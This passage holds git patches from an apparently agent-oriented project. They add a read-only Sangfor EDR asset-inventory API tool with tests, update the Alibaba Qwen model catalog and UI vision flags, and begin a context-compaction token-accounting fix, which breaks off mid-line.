From 7a54151b0b302fa782ecaab055fa45681f9bfb06 Mon Sep 17 00:00:00 2001 From: luguili Date: Tue, 11 Aug 2026 20:35:47 +0800 Subject: [PATCH 38/67] feat: add EDR asset inventory classification API --- .../plugins/skills/sangfor-edr-use/SKILL.md | 20 +- .../device/sangfor_edr_asset_inventory.yaml | 27 +++ .../device/sangfor_edr_webcli/_provider.yaml | 6 +- .../sangfor_edr_webcli/sangfor_edr.handler.py | 14 ++ .../sangfor_edr_asset_inventory_api.py | 185 ++++++++++++++++++ tests/tool/test_sangfor_edr_handler.py | 81 ++++++++ 6 files changed, 328 insertions(+), 5 deletions(-) create mode 100644 .flocks/plugins/tools/device/sangfor_edr_asset_inventory.yaml create mode 100644 .flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_asset_inventory_api.py diff --git a/.flocks/plugins/skills/sangfor-edr-use/SKILL.md b/.flocks/plugins/skills/sangfor-edr-use/SKILL.md index c33bf3105..922255604 100644 --- a/.flocks/plugins/skills/sangfor-edr-use/SKILL.md +++ b/.flocks/plugins/skills/sangfor-edr-use/SKILL.md @@ -1,6 +1,6 @@ --- name: sangfor-edr-use -description: 深信服 EDR 登录态管理、首页仪表盘和威胁资产分析 API 采集。用户提到深信服 EDR、EDR 或 sangfor EDR 时必须先加载本 skill。 +description: 深信服 EDR 登录态管理、首页仪表盘、威胁资产分析和资产清点分类统计 API 采集。用户提到深信服 EDR、EDR、资产清点或 sangfor EDR 时必须先加载本 skill。 --- # 深信服 EDR Use @@ -13,6 +13,8 @@ description: 深信服 EDR 登录态管理、首页仪表盘和威胁资产分 验证过的同一套 Cookie/token，不从其他状态源拼接凭据。 `sangfor_edr_threat_assets_api.py` 负责威胁资产分析 API 请求，同样只读取 HTTP 登录模块验证过的同一套 Cookie/token。 +`sangfor_edr_asset_inventory_api.py` 负责资产清点页面 API 请求，同样只读取 +HTTP 登录模块验证过的同一套 Cookie/token。 - 管理同一次登录产生的 Cookie 与 `login_token`。 - 默认使用 HTTP 登录，开始前必须向用户索取并保存 EDR 地址、用户名和密码。 @@ -21,6 +23,7 @@ HTTP 登录模块验证过的同一套 Cookie/token。 - 每次登录或数据采集前探测现有认证，认证有效则跳过登录，失效则重新登录并更新存储。 - 通过 API 采集首页终端概况、受影响终端、漏洞、勒索防护、实时病毒、Top 5 终端和设备资源使用率。 - 通过 API 采集威胁资产分析的风险汇总、资产分组和威胁终端事件列表，支持风险级别、资产分组、终端状态、隔离状态和分页筛选。 +- 通过 API 采集资产清点页面的资产分类统计。 ## 输入与输出 @@ -59,6 +62,17 @@ HTTP 登录模块验证过的同一套 Cookie/token。 输出包含风险汇总、资产分组、事件列表、分页信息和接口错误；不得输出 Cookie、密码或 `login_token`。 +### 资产清点工具 + +调用 `sangfor_edr_asset_inventory`，可输入： + +- `scene_type`：资产清点范围，默认 `server_and_pc`。 +- `base_url`、`auth_state_path`：可选运行时覆盖。 + +输出包含原始资产分类响应、带中英文标签的 `readable_data` 和接口错误；不得输出 Cookie、密码或 `login_token`。 + +分类字段映射由采集模块维护；`Replace` 按页面显示映射为“真替真用”，英文保留原始字段名 `Replace`。 + ## 关键配置 - `base_url`：从用户提供的 EDR 地址提取 scheme、host 和 port；不得使用固定示例地址。 @@ -87,6 +101,7 @@ HTTP 登录模块验证过的同一套 Cookie/token。 - `agent_state`：`-1`=全部终端状态，`0`=在线，`1`=离线，`2`=已禁用，`3`=未授权，`4`=已卸载，`6`=已降级。 - `limit`：只能使用 `10/20/50/100/500`。 - `zone_name`：先调用 `list_zones`，按返回的 `zone_name` 或 `full_zone_name` 精确匹配，再将对应的设备专属 `zone_id` 放入 `list_agent_event.filter.zone_id`；不能使用固定 zone ID，也不能把中文分组名直接作为 `zone_id`。 +8. 资产清点 API 使用 `POST /api/edrgoweb/v1/asset/inventory/classify?s={login_token}`，payload 为 `{"sceneType":"server_and_pc"}`；复用当前登录会话的 Cookie 和同一 `login_token`，接口返回 `code != 0` 时视为失败。 ## 错误处理 @@ -95,7 +110,7 @@ HTTP 登录模块验证过的同一套 Cookie/token。 - browser/CDP 自动化登录失败或用户明确选择打开页面后手动登录：保留浏览器供用户完成登录，不再索取账密，再调用 `complete_manual_login`。 - 认证探测失败：禁止继续业务 API；先执行 HTTP 重登并再次探测，连续 3 次 HTTP 仍失败则按 browser/CDP 自动化登录→手动登录降级。 - 仪表盘部分接口失败：保留成功数据，在 `errors` 中按采集项返回失败原因。 -- 威胁资产分析部分接口或分页请求失败：保留已采集的风险汇总、资产分组和事件数据，在 `errors` 中标明失败项。 +- 资产清点接口失败：在 `errors` 中返回接口失败原因，不输出敏感认证信息。 - Cookie、密码和 `login_token` 不得回显、记录日志或混入业务输出。 ## 执行约束 @@ -108,4 +123,5 @@ HTTP 登录模块验证过的同一套 Cookie/token。 - HTTP 登录连续 3 次失败后必须按 browser/CDP 自动化登录→手动登录顺序降级；自动化登录阶段仍需账密，手动登录阶段不得要求账密。 - 任何 API 采集前必须完成认证探测；认证探测失败时不得继续调用业务接口。 - 威胁资产分析的分页请求必须复用同一套 Cookie/token，不得在分页过程中重新拼接或替换认证参数。 +- 资产清点 API 请求必须复用同一套 Cookie/token；不得把抓包中的 sessionid、token 或设备地址写死为通用凭据或地址。 - 用户未提供接口参数名时，必须根据中文语义完成上述映射；无法确认的筛选条件不得猜测数值，应省略筛选或向用户确认。 diff --git a/.flocks/plugins/tools/device/sangfor_edr_asset_inventory.yaml b/.flocks/plugins/tools/device/sangfor_edr_asset_inventory.yaml new file mode 100644 index 000000000..bc71a71cb --- /dev/null +++ b/.flocks/plugins/tools/device/sangfor_edr_asset_inventory.yaml @@ -0,0 +1,27 @@ +name: sangfor_edr_asset_inventory +description: > + Collect Sangfor EDR asset-inventory classification counts through authenticated HTTP APIs. +description_cn: > + 通过已验证的成套 Cookie/token 采集深信服 EDR 资产分类统计数据。 +category: custom +enabled: true +requires_confirmation: false +provider: sangfor_edr +inputSchema: + type: object + properties: + scene_type: + type: string + enum: [server_and_pc] + default: server_and_pc + description: Inventory scope used by the classify endpoint. + base_url: + type: string + description: Optional EDR device URL. + auth_state_path: + type: string + description: Optional auth-state path. +handler: + type: script + script_file: sangfor_edr.handler.py + function: handle_asset_inventory diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml b/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml index 17768a4d8..c858c645c 100644 --- a/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml @@ -5,10 +5,10 @@ version: "1.0.0" integration_type: device description: > Sangfor EDR integration with default HTTP login, explicitly selected - browser/CDP login, cookie/token validation, dashboard and threat-asset API collection. + browser/CDP login, cookie/token validation, dashboard, threat-asset, and asset-inventory API collection. description_cn: > 深信服 EDR 集成。默认通过 HTTP 登录，仅用户明确选择时使用 browser/CDP； - 每次操作验证成套 Cookie/token，并通过 API 采集首页仪表盘和威胁资产分析。 + 每次操作验证成套 Cookie/token，并通过 API 采集首页仪表盘、威胁资产分析和资产清点。 credential_fields: - key: base_url label: Base URL @@ -113,7 +113,7 @@ defaults: verify_ssl: false notes: | All login methods save cookies to auth-state.json and login_token to Secret - Manager. Pairing metadata prevents dashboard and threat-asset APIs from mixing credentials + Manager. Pairing metadata prevents dashboard, threat-asset, and asset-inventory APIs from mixing credentials produced by different logins. Device URLs are normalized to scheme, host, and port before use. diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py index 8efa867e3..6feaec865 100644 --- a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py @@ -28,6 +28,7 @@ import sangfor_edr_dashboard_api as _dashboard_api_module # noqa: E402 import sangfor_edr_http_login as _http_login_module # noqa: E402 import sangfor_edr_threat_assets_api as _threat_assets_api_module # noqa: E402 +import sangfor_edr_asset_inventory_api as _asset_inventory_api_module # noqa: E402 SERVICE_ID = "sangfor_edr_v1_0_0" LEGACY_SERVICE_ID = "sangfor_edr" @@ -1433,3 +1434,16 @@ async def handle_threat_assets(ctx: ToolContext) -> ToolResult: ) except Exception as exc: return ToolResult(success=False, error=str(exc)) + + +async def handle_asset_inventory(ctx: ToolContext) -> ToolResult: + params = dict(ctx.params) + try: + result = _asset_inventory_api_module.run_asset_inventory(params) + return ToolResult( + success=bool(result.get("success")), + output=result, + error=None if result.get("success") else "asset_inventory_api_partial_failure", + ) + except Exception as exc: + return ToolResult(success=False, error=str(exc)) diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_asset_inventory_api.py b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_asset_inventory_api.py new file mode 100644 index 000000000..7a87eb12f --- /dev/null +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_asset_inventory_api.py @@ -0,0 +1,185 @@ +"""Sangfor EDR asset-inventory API collection using the verified auth pair.""" + +from __future__ import annotations + +from typing import Any + +import sangfor_edr_http_login as auth + + +# The classify response contains the counts shown on the asset-inventory page. +DEFAULT_SECTIONS = ("inventory",) +DEFAULT_SCENE_TYPE = "server_and_pc" + +CLASSIFY_GROUP_LABELS = { + "ProcessPort": ("进程端口", "Process and Ports"), + "ApplicationAsset": ("应用资产", "Application Assets"), + "WebAsset": ("Web资产", "Web Assets"), + "InstallAndJar": ("安装包与类库", "Installation Packages and Libraries"), + "SystemInfo": ("系统信息", "System Information"), +} +CLASSIFY_ASSET_LABELS = { + "MonitorPort": ("监听端口", "Monitoring Ports"), + "Process": ("运行进程", "Running Processes"), + "ApplicationSoftWare": ("软件盘点", "Software Inventory"), + "DataBase": ("数据库", "Databases"), + "MiddleWare": ("中间件", "Middleware"), + "SoftwareMeasurement": ("软件计量", "Software Measurement"), + "WebApplication": ("Web应用", "Web Applications"), + "WebSite": ("Web站点", "Websites"), + "WebService": ("Web服务", "Web Services"), + "WebFrame": ("Web框架", "Web Frameworks"), + "InstallPkg": ("系统安装包", "System Installation Packages"), + "JarPkg": ("Jar包", "JAR Packages"), + "PythonPkg": ("Python包", "Python Packages"), + "NpmPkg": ("NPM包", "NPM Packages"), + "Os": ("操作系统", "Operating Systems"), + "Replace": ("真替真用", "Replace"), + "TerminalAccount": ("终端账户", "Terminal Accounts"), + "EnvironmentVariable": ("环境变量", "Environment Variables"), + "Lkm": ("内核模块", "Kernel Modules"), + "Server": ("服务器", "Servers"), + "Startup": ("启动项", "Startup Items"), + "Cron": ("定时任务", "Scheduled Tasks"), + "Openshare": ("开放共享", "Open Shares"), + "Registry": ("注册表", "Registry"), + "Network": ("网络", "Network"), + "Cert": ("证书", "Certificates"), + "CertAuth": ("证书认证", "Certificate Authorities"), +} + + +def _inventory_requests( + token: str, + *, + scene_type: str = DEFAULT_SCENE_TYPE, +) -> dict[str, tuple[str, str, dict[str, Any]]]: + """Build the requests observed when loading the asset-inventory page.""" + return { + "inventory": ( + "POST", + f"/api/edrgoweb/v1/asset/inventory/classify?s={token}", + {"sceneType": scene_type}, + ), + } + + +def _validate_response(result: Any) -> Any: + if isinstance(result, dict): + code = result.get("code") + if code not in (None, 0, "0"): + raise RuntimeError(str(result.get("msg") or f"EDR asset API rejected request (code={code}).")) + if result.get("success") is False: + raise RuntimeError(str(result.get("msg") or "EDR asset API rejected request.")) + return result + + +def _classify_readable_response(result: Any) -> Any: + """Add stable Chinese/English labels while retaining the raw API fields.""" + if not isinstance(result, dict) or not isinstance(result.get("data"), list): + return result + readable: list[dict[str, Any]] = [] + for category in result["data"]: + if not isinstance(category, dict): + continue + category_key = str(category.get("assetGroupName") or "") + category_zh, category_en = CLASSIFY_GROUP_LABELS.get( + category_key, (category_key, category_key) + ) + items: list[dict[str, Any]] = [] + for item in category.get("groups") or []: + if not isinstance(item, dict): + continue + asset_key = str(item.get("assetName") or "") + asset_zh, asset_en = CLASSIFY_ASSET_LABELS.get(asset_key, (asset_key, asset_key)) + items.append( + { + "asset_name": asset_key, + "asset_name_zh": asset_zh, + "asset_name_en": asset_en, + "count": item.get("count", 0), + } + ) + readable.append( + { + "asset_group": category_key, + "asset_group_zh": category_zh, + "asset_group_en": category_en, + "items": items, + } + ) + return readable + + +def _request_json( + session: Any, + cfg: auth.RuntimeConfig, + path: str, + payload: dict[str, Any], +) -> Any: + response = session.post( + auth._url(cfg, path), + headers=auth._http_headers(cfg), + json=payload, + timeout=cfg.timeout, + ) + response.raise_for_status() + return _validate_response(response.json()) + + +def collect_asset_inventory( + cfg: auth.RuntimeConfig, + *, + scene_type: str = DEFAULT_SCENE_TYPE, +) -> dict[str, Any]: + auth_result = auth.ensure_http_auth_pair(cfg) + if not auth_result.get("success"): + raise RuntimeError( + "EDR authentication refresh failed: " + f"{auth_result.get('error') or auth_result.get('reason') or auth_result.get('status')}" + ) + state, token = auth.load_verified_auth_pair(cfg) + session = auth.dashboard_session(cfg, state) + definitions = _inventory_requests( + token, + scene_type=scene_type, + ) + selected = list(DEFAULT_SECTIONS) + + data: dict[str, Any] = {} + readable_data: dict[str, Any] = {} + errors: dict[str, str] = {} + for section in selected: + _, path, payload = definitions[section] + try: + data[section] = _request_json(session, cfg, path, payload) + if section == "inventory": + readable_data[section] = _classify_readable_response(data[section]) + except Exception as exc: + errors[section] = auth._safe_error(exc, token) + + return { + "success": not errors, + "status": "asset_inventory_collected" if not errors else "asset_inventory_partially_collected", + "base_url": cfg.base_url, + "sections": selected, + "filters": { + "scene_type": scene_type, + }, + "data": data, + "readable_data": readable_data, + "errors": errors, + "auth_pair_verified": True, + "authentication": { + "status": auth_result.get("status"), + "login_skipped": bool(auth_result.get("login_skipped")), + }, + } + + +def run_asset_inventory(params: dict[str, Any]) -> dict[str, Any]: + cfg = auth.resolve_runtime_config({**params, "persist_credentials": False}) + return collect_asset_inventory( + cfg, + scene_type=str(params.get("scene_type") or DEFAULT_SCENE_TYPE), + ) diff --git a/tests/tool/test_sangfor_edr_handler.py b/tests/tool/test_sangfor_edr_handler.py index d5a4f7d2f..3b27e2adc 100644 --- a/tests/tool/test_sangfor_edr_handler.py +++ b/tests/tool/test_sangfor_edr_handler.py @@ -344,6 +344,87 @@ def test_threat_asset_zone_resolution_includes_nested_children(tmp_path): assert threat_assets._resolve_zone_id("Child", zones) == "child" +def test_asset_inventory_request_definitions_match_capture(): + handler = _load_handler() + inventory = handler._asset_inventory_api_module + assert inventory.DEFAULT_SECTIONS == ("inventory",) + + definitions = inventory._inventory_requests( + "token-value", + scene_type="server_and_pc", + ) + + method, path, payload = definitions["inventory"] + assert method == "POST" + assert path.endswith("/api/edrgoweb/v1/asset/inventory/classify?s=token-value") + assert payload == {"sceneType": "server_and_pc"} + + +def test_asset_inventory_classify_response_has_readable_labels(): + handler = _load_handler() + inventory = handler._asset_inventory_api_module + readable = inventory._classify_readable_response( + { + "code": 0, + "data": [ + { + "assetGroupName": "ProcessPort", + "groups": [{"assetName": "MonitorPort", "count": 21}], + }, + { + "assetGroupName": "ApplicationAsset", + "groups": [{"assetName": "DataBase", "count": 3}], + }, + { + "assetGroupName": "SystemInfo", + "groups": [{"assetName": "Replace", "count": 184}], + }, + ], + } + ) + assert readable == [ + { + "asset_group": "ProcessPort", + "asset_group_zh": "进程端口", + "asset_group_en": "Process and Ports", + "items": [ + { + "asset_name": "MonitorPort", + "asset_name_zh": "监听端口", + "asset_name_en": "Monitoring Ports", + "count": 21, + } + ], + }, + { + "asset_group": "ApplicationAsset", + "asset_group_zh": "应用资产", + "asset_group_en": "Application Assets", + "items": [ + { + "asset_name": "DataBase", + "asset_name_zh": "数据库", + "asset_name_en": "Databases", + "count": 3, + } + ], + }, + { + "asset_group": "SystemInfo", + "asset_group_zh": "系统信息", + "asset_group_en": "System Information", + "items": [ + { + "asset_name": "Replace", + "asset_name_zh": "真替真用", + "asset_name_en": "Replace", + "count": 184, + } + ], + }, + ] + + def test_auth_probe_requires_http_200_and_agent_overview_data(tmp_path, monkeypatch): handler = _load_handler() cfg = _cfg(handler, tmp_path / "auth-state.json") From 9c2c4479bd65fc0ed39df739865272a82af05677 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Wed, 12 Aug 2026 10:09:09 +0800 Subject: [PATCH 39/67] feat(provider): update Alibaba Qwen model catalog --- flocks/provider/catalog.json | 77 +++++++++++++++---- flocks/provider/sdk/alibaba.py | 6 +- tests/provider/test_chinese_providers.py | 31 +++++++- webui/src/hooks/useDefaultModelVision.test.ts | 16 ++++ webui/src/hooks/useDefaultModelVision.ts | 5 +- webui/src/pages/Model/index.tsx | 5 +- 6 files changed, 118 insertions(+), 22 deletions(-) diff --git a/flocks/provider/catalog.json b/flocks/provider/catalog.json index f4c9f60b7..b448c72b9 100644 --- a/flocks/provider/catalog.json +++ b/flocks/provider/catalog.json @@ -1159,8 +1159,8 @@ } }, "alibaba": { - "name": "阿里云通义 (Alibaba/Qwen)", - "description": "通义千问系列大模型 via DashScope", + "name": "阿里云百炼 (Alibaba)", + "description": "阿里云百炼大模型 via DashScope", "npm": "@ai-sdk/openai-compatible", "default_base_url": "https://dashscope.aliyuncs.com/compatible-mode/v1", "credential_schemas": [ @@ -1189,11 +1189,12 @@ "ALIBABA_API_KEY" ], "models": { - "qwen3-235b-a22b-2507": { - "name": "Qwen3 235B A22B Instruct 2507", - "family": "qwen3", + "qwen3.8-max": { + "name": "Qwen3.8-Max", + "family": "qwen3.8", "capabilities": { "supports_tools": true, + "supports_vision": true, "supports_reasoning": true, "interleaved": { "field": "reasoning_content", @@ -1203,20 +1204,21 @@ "supports_streaming": true }, "limits": { - "context_window": 262144, - "max_output_tokens": 262144 + "context_window": 1000000, + "max_output_tokens": 65536 }, "pricing": { - "input": 2.0, - "output": 20.0, + "input": 12.0, + "output": 36.0, "currency": "CNY" } }, - "qwen3.5-flash-02-23": { - "name": "Qwen3.5-Flash", - "family": "qwen3.5", + "qwen3.7-plus": { + "name": "Qwen3.7-Plus", + "family": "qwen3.7", "capabilities": { "supports_tools": true, + "supports_vision": true, "supports_reasoning": true, "interleaved": { "field": "reasoning_content", @@ -1227,13 +1229,60 @@ }, "limits": { "context_window": 1000000, - "max_output_tokens": 1000000 + "max_output_tokens": 65536 }, "pricing": { - "input": 0.8, + "input": 2.0, "output": 8.0, "currency": "CNY" } + }, + "qwen3.7-max": { + "name": "Qwen3.7-Max", + "family": "qwen3.7", + "capabilities": { + "supports_tools": true, + "supports_reasoning": true, + "interleaved": { + "field": "reasoning_content", + "echo": "tool_calls", + "cross_provider_policy": "promote" + }, + "supports_streaming": true + }, + "limits": { + "context_window": 1000000, + "max_output_tokens": 65536 + }, + "pricing": { + "input": 12.0, + "output": 36.0, + "currency": "CNY" + } + }, + "qwen3.7-flash": { + "name": "Qwen3.7-Flash", + "family": "qwen3.7", + "capabilities": { + "supports_tools": true, + "supports_vision": true, + "supports_reasoning": true, + "interleaved": { + "field": "reasoning_content", + "echo": "tool_calls", + "cross_provider_policy": "promote" + }, + "supports_streaming": true + }, + "limits": { + "context_window": 1000000, + "max_output_tokens": 65536 + }, + "pricing": { + "input": 0.2, + "output": 0.8, + "currency": "CNY" + } } } }, diff --git a/flocks/provider/sdk/alibaba.py b/flocks/provider/sdk/alibaba.py index a854ab39c..947addef2 100644 --- a/flocks/provider/sdk/alibaba.py +++ b/flocks/provider/sdk/alibaba.py @@ -1,5 +1,5 @@ """ -Alibaba Cloud / Tongyi Qwen (阿里云 / 通义千问) provider implementation. +Alibaba Cloud Model Studio (阿里云百炼) provider implementation. DashScope provides OpenAI-compatible API. Docs: https://help.aliyun.com/zh/model-studio/developer-reference/compatibility-of-openai-with-dashscope @@ -9,7 +9,7 @@ class AlibabaProvider(OpenAIBaseProvider): - """Alibaba Cloud / Tongyi Qwen provider (OpenAI-compatible via DashScope). + """Alibaba Cloud Model Studio provider (OpenAI-compatible via DashScope). Models are loaded from catalog.json (CATALOG_ID = "alibaba") and user-added custom models from flocks.json by the parent @@ -22,4 +22,4 @@ class AlibabaProvider(OpenAIBaseProvider): CATALOG_ID = "alibaba" def __init__(self): - super().__init__(provider_id="alibaba", name="阿里云通义 (Alibaba/Qwen)") + super().__init__(provider_id="alibaba", name="阿里云百炼 (Alibaba)") diff --git a/tests/provider/test_chinese_providers.py b/tests/provider/test_chinese_providers.py index f5a625370..bfaeb8e1c 100644 --- a/tests/provider/test_chinese_providers.py +++ b/tests/provider/test_chinese_providers.py @@ -155,16 +155,41 @@ def test_deepseek_catalog(self): assert v4_pro.capabilities.interleaved["field"] == "reasoning_content" def test_alibaba_catalog(self): + meta = get_provider_meta("alibaba") + assert meta is not None + assert meta.name == "阿里云百炼 (Alibaba)" + models = get_provider_model_definitions("alibaba") assert {m.id for m in models} == { - "qwen3-235b-a22b-2507", - "qwen3.5-flash-02-23", + "qwen3.8-max", + "qwen3.7-plus", + "qwen3.7-max", + "qwen3.7-flash", } - flash = next(m for m in models if m.id == "qwen3.5-flash-02-23") + qwen38 = next(m for m in models if m.id == "qwen3.8-max") + assert qwen38.capabilities.supports_vision is True + assert qwen38.capabilities.supports_reasoning is True + assert qwen38.capabilities.interleaved["field"] == "reasoning_content" + assert qwen38.limits.context_window == 1000000 + assert qwen38.limits.max_output_tokens == 65536 + assert qwen38.pricing.currency == "CNY" + + max_model = next(m for m in models if m.id == "qwen3.7-max") + assert max_model.capabilities.supports_reasoning is True + assert max_model.capabilities.interleaved["field"] == "reasoning_content" + assert max_model.limits.context_window == 1000000 + + plus = next(m for m in models if m.id == "qwen3.7-plus") + assert plus.capabilities.supports_vision is True + assert plus.capabilities.supports_reasoning is True + + flash = next(m for m in models if m.id == "qwen3.7-flash") + assert flash.capabilities.supports_vision is True assert flash.capabilities.supports_reasoning is True assert flash.capabilities.interleaved["field"] == "reasoning_content" assert flash.limits.context_window == 1000000 + assert flash.limits.max_output_tokens == 65536 assert flash.pricing.currency == "CNY" def test_moonshot_catalog(self): diff --git a/webui/src/hooks/useDefaultModelVision.test.ts b/webui/src/hooks/useDefaultModelVision.test.ts index 90fe0e341..b77c7d7ae 100644 --- a/webui/src/hooks/useDefaultModelVision.test.ts +++ b/webui/src/hooks/useDefaultModelVision.test.ts @@ -93,6 +93,22 @@ describe('useDefaultModelVision', () => { await waitFor(() => expect(result.current).toBe(true)); }); + it.each(['qwen3.8-max', 'qwen3.7-plus', 'qwen3.7-flash'])( + 'returns true for the predefined Alibaba vision model %s', + async (modelId) => { + mockResolved.mockResolvedValue(makeResolvedResp('alibaba', modelId)); + mockDefinitions.mockResolvedValue(makeDefinitionsResp( + { supports_vision: true }, + 'predefined', + 'alibaba', + modelId, + )); + + const { result } = renderHook(() => useDefaultModelVision()); + await waitFor(() => expect(result.current).toBe(true)); + }, + ); + it('returns true for the predefined kimi-k2.7-code model', async () => { mockResolved.mockResolvedValue(makeResolvedResp('threatbook-cn-llm', 'kimi-k2.7-code')); mockDefinitions.mockResolvedValue(makeDefinitionsResp( diff --git a/webui/src/hooks/useDefaultModelVision.ts b/webui/src/hooks/useDefaultModelVision.ts index 44f37edfa..b4cae6809 100644 --- a/webui/src/hooks/useDefaultModelVision.ts +++ b/webui/src/hooks/useDefaultModelVision.ts @@ -47,7 +47,10 @@ const subscribers = new Set<(state: VisionState) => void>(); function allowsBuiltInVision(modelId: string): boolean { const lowered = modelId.toLowerCase(); return ( - lowered.includes('qwen3.6-plus') + lowered.includes('qwen3.8-max') + || lowered.includes('qwen3.7-plus') + || lowered.includes('qwen3.7-flash') + || lowered.includes('qwen3.6-plus') || lowered.includes('kimi-k2.6') || lowered.includes('kimi-k2.7-code') ); diff --git a/webui/src/pages/Model/index.tsx b/webui/src/pages/Model/index.tsx index 959ac8ede..a396f5be2 100644 --- a/webui/src/pages/Model/index.tsx +++ b/webui/src/pages/Model/index.tsx @@ -2289,7 +2289,10 @@ function getDefaultReasoningToggleValue(providerId: string, modelId: string): bo function allowsBuiltInVisionToggle(modelId: string): boolean { const lowered = modelId.toLowerCase(); return ( - lowered.includes('qwen3.6-plus') + lowered.includes('qwen3.8-max') + || lowered.includes('qwen3.7-plus') + || lowered.includes('qwen3.7-flash') + || lowered.includes('qwen3.6-plus') || lowered.includes('kimi-k2.6') || lowered.includes('kimi-k2.7-code') ); From 034413342d2f0299ef2f1b87885ca38a9ebca6a1 Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Wed, 12 Aug 2026 11:17:32 +0800 Subject: [PATCH 40/67] fix(compaction): account for post-call tool results Combine provider-reported usage with tool-result and later-message deltas so proactive compaction cannot miss context added after a model call. Recheck the effective context after tool-output cleanup and fall through to full compaction when cleanup is insufficient. --- flocks/session/prompt.py | 44 +++++ flocks/session/session_loop.py | 201 +++++++++++++++------ tests/session/test_prompt_tokens.py | 53 ++++++ tests/session/test_session_abort_inject.py | 97 +++++++++- 4 files changed, 338 insertions(+), 57 deletions(-) diff --git a/flocks/session/prompt.py b/flocks/session/prompt.py index 12e17ef64..f8430c8c7 100644 --- a/flocks/session/prompt.py +++ b/flocks/session/prompt.py @@ -544,6 +544,50 @@ async def estimate_full_context_tokens( total += await cls._tokens_for_message(session_id, msg) return total + @classmethod + async def estimate_tool_result_tokens( + cls, + session_id: str, + message_id: str, + ) -> int: + """Estimate tool-result tokens added after an assistant model call.""" + from flocks.session.message import Message + + try: + parts = await Message.parts(message_id, session_id) + except Exception as exc: + log.debug("prompt.tool_result_estimate.parts_failed", { + "message_id": message_id, + "error": str(exc), + }) + return 0 + + total = 0 + for part in parts: + if getattr(part, "type", None) != "tool": + continue + state = getattr(part, "state", None) + if state is None: + continue + time_info = getattr(state, "time", None) + if isinstance(time_info, dict) and time_info.get("compacted"): + total += 10 + continue + + status = getattr(state, "status", None) + if status == "completed": + output = getattr(state, "output", None) + if output: + total += cls.count_tokens( + output if isinstance(output, str) else str(output) + ) + elif status == "error": + error = getattr(state, "error", "Unknown error") + total += cls.count_tokens(f"Error: {error}") + elif status == "running": + total += cls.count_tokens("Error: Tool execution was interrupted") + return total + @classmethod async def _tokens_for_message(cls, session_id: str, msg: Any) -> int: """Return the token contribution of a single message (E6). diff --git a/flocks/session/session_loop.py b/flocks/session/session_loop.py index 7c098cd50..fbd35ddf8 100644 --- a/flocks/session/session_loop.py +++ b/flocks/session/session_loop.py @@ -100,11 +100,10 @@ class LoopContext: # Cooldown window to prefer cheap cleanup over repeated full compaction. last_compaction_step: Optional[int] = None last_cleanup_step: Optional[int] = None - # ``input + cache.read + output`` reported by the provider on the most - # recent finished assistant turn. When non-zero this beats the - # synthetic estimate from ``estimate_full_context_tokens`` because it - # is what the upstream will actually bill us for on the next turn - # (matches the "observed value wins" rule from docs/design/context-compaction-v2.md §B3). + # ``input + cache.read + output + reasoning`` reported by the provider on + # the most recent finished assistant turn. Overflow decisions compare it + # with a current message estimate so tool output produced after that model + # call cannot be missed. last_observed_prompt_tokens: int = 0 auto_failover: bool = False # Entrypoint authorization is separate from persisted model_auto. Only a @@ -1743,40 +1742,79 @@ async def progress_callback(stage: str, data: dict) -> None: _cache = tokens_dict.get("cache") or {} cache_read = _cache.get("read", 0) if isinstance(_cache, dict) else 0 output_tokens = tokens_dict.get("output", 0) - reported_total = input_tokens + cache_read + output_tokens - - # B3 — Observed-value-first token decision. Always prefer - # the provider's actual usage figure (input + cache_read) - # over our synthetic estimate, because that is what the - # next turn's prompt will be billed against. Cache it on - # the LoopContext so subsequent turns can reuse it as a - # baseline. Estimation only kicks in when the provider - # genuinely reports no usage (all zero) — we feed the - # compaction policy into ``estimate_full_context_tokens`` - # so it includes system-prompt + tool-schema overhead - # and applies the 1.2 safety margin. + reasoning_tokens = tokens_dict.get("reasoning", 0) + observed_prompt_tokens = input_tokens + cache_read + reported_total = observed_prompt_tokens + output_tokens + reasoning_tokens + + # Provider usage describes the prompt before the latest + # assistant response and its tool results. Always compare + # it with a lightweight estimate of the current messages + # so newly produced tool output cannot be missed. if reported_total > 0: - ctx.last_observed_prompt_tokens = input_tokens + cache_read + output_tokens - log.info("loop.tokens_decision", { - "session_id": ctx.session.id, - "source": "observed", - "effective_tokens": input_tokens + cache_read, - "overflow_threshold": compaction_policy.overflow_threshold, - }) - else: - estimated_tokens = await SessionPrompt.estimate_full_context_tokens( - ctx.session.id, - messages, - policy=compaction_policy, + ctx.last_observed_prompt_tokens = reported_total + # The assistant is marked ``tool-calls`` before its tools + # finish, so a concurrent UI estimate may have cached this + # message without the completed tool output. + SessionPrompt.invalidate_message_cache(last_finished.id) + last_finished_index = next( + ( + index + for index, message in enumerate(messages) + if message.id == last_finished.id + ), + len(messages) - 1, + ) + + async def _estimate_effective_tokens() -> tuple[int, int, str]: + if observed_prompt_tokens > 0: + tool_result_tokens = ( + await SessionPrompt.estimate_tool_result_tokens( + ctx.session.id, + last_finished.id, + ) + ) + later_tokens = ( + await SessionPrompt.estimate_full_context_tokens( + ctx.session.id, + messages[last_finished_index + 1:], + policy=compaction_policy, + ) + ) + delta_tokens = tool_result_tokens + later_tokens + return ( + reported_total + delta_tokens, + delta_tokens, + "observed+estimated_delta", + ) + + estimated_tokens = ( + await SessionPrompt.estimate_full_context_tokens( + ctx.session.id, + messages, + policy=compaction_policy, + ) ) - tokens_dict = {"input": estimated_tokens, "output": 0, "cache": {"read": 0, "write": 0}} - log.info("loop.tokens_decision", { - "session_id": ctx.session.id, - "source": "estimated", - "effective_tokens": estimated_tokens, - "message_count": len(messages), - "overflow_threshold": compaction_policy.overflow_threshold, - }) + return max(reported_total, estimated_tokens), estimated_tokens, "estimated" + + ( + effective_tokens, + estimated_component_tokens, + decision_source, + ) = await 